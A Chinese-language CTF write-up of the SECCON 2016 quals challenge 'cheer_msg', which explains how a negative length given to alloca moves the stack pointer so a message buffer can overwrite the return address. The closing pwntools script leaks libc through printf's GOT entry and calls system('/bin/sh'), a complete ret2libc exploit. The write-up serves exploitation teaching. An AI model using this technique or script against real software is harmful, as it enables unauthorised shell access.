前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文目的是以一道比较简单的 ctf
的练手,为后面的分析 RouterOs
的 漏洞和写 exploit
打基础。
Seccon CTF quals 2016
的一道题。
题目,idb 文件:
https://gitee.com/hac425/blog_data/tree/master/pwn_with_alloca
正文
首先看看 main
函数的代码。
逻辑还是比较简单的获取输入后,简单的加了 30
就给 alloca
去分配空间,然后进入 message
函数。
alloca
函数是 从 栈上分配内存, 它分配内存是通过 sub esp , *
来实现的,我们可以转到汇编代码看看。
可以看到调用 alloca
实际就是通过 sub esp, eax
来分配栈内存。
我们输入的 num
是 int
类型的
如果我们输入 num
为 负数, sub esp
就相当于 add esp
我们可以把栈指针往栈底移动。
继续往下看
接下来会调用 message
函数, 可以看到传给他的参数为 esp + 23
和 num
, 进入 message
函数 ,看看他的逻辑。
首先读取 n
个字符 到 buf
, 这两个变量就是我们传入的参数。
然后读入 0x40
个字符到 message
函数自己定义的局部变量中。
一切都很正常,没有溢出,没有格式化字符串漏洞。
程序的漏洞在于传入的 buf
是通过 alloca
分配的内存,我们可以通过输入 负数 使得 alloca
的参数为负, 这样我们就可以把 esp
往栈底移动,栈底有返回地址, 然后通过 message
中读取数据,覆盖 eip
然后进行 rop
即可。
要触发漏洞我们需要输入负数,所以在
会直接返回,不会获取输入,因为它里面调用的是 fgets
来获取输入。fgets
会有检查。
所以我们只能往 message
函数内的缓冲区 t_buf
写数据,不过这个缓冲区也是在栈上,同样与 esp
相关,所以我们把esp
往栈底移时,它也是会跟着下移,通过它也可以写 返回地址
的值。
我们可以输入 -140
(这个值可以通过 先输入一个 比较小的比如 -32
, 然后计算最后得到的数据的地址距离返回地址位置的距离,来继续调整)
在 0x0804860E
设个断点
sub
之后
可以看到 esp
已经增大。
然后加上一定的 padding
(可以使用 pwntools
的 cyclic
计算) ,就能修改 返回地址了。
之后就是正常的 rop
使用 printf
打印 got
表中的 printf
的值,泄露 libc
的地址。然后回到程序的开始,再次触发漏洞, 调用 system("sh")
总结
alloca
的细节要注意, 注意输入的数据是有符号的还是无符号的。对于后面计算偏移,可以先动态调试计算一个粗略的值,然后使用 cyclic
确定精确的偏移。
exp
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-v']
r = process("./cheer_msg")
binary = ELF('cheer_msg')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
gdb.attach(r, '''
bp 0x0804868B
bp 0x08048610
''')
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(binary.symbols['printf'])
payload += p32(binary.entry) # ret to start
payload += p32(binary.got['printf'])
r.sendline(payload)
r.recvuntil("Message :")
r.recv(1)
r.recv(1)
printf_addr = u32(r.recv(4))
libc_base = printf_addr - libc.symbols['printf']
sh = libc_base + libc.search("/bin/sh\x00").next()
system = libc_base + libc.symbols['system']
log.info("got system: " + hex(system))
log.info("got base: " + hex(libc_base))
log.info("get sh " + hex(sh))
r.recvuntil("Length >> ")
r.sendline("-140")
r.recvuntil("Name >> ")
payload = "a" * 0x10 # padding
payload += p32(system)
payload += p32(binary.entry)
payload += p32(sh)
r.sendline(payload)
r.interactive()
参考:
https://github.com/0x90r00t/Write-Ups/tree/master/Seccon/cheer_msg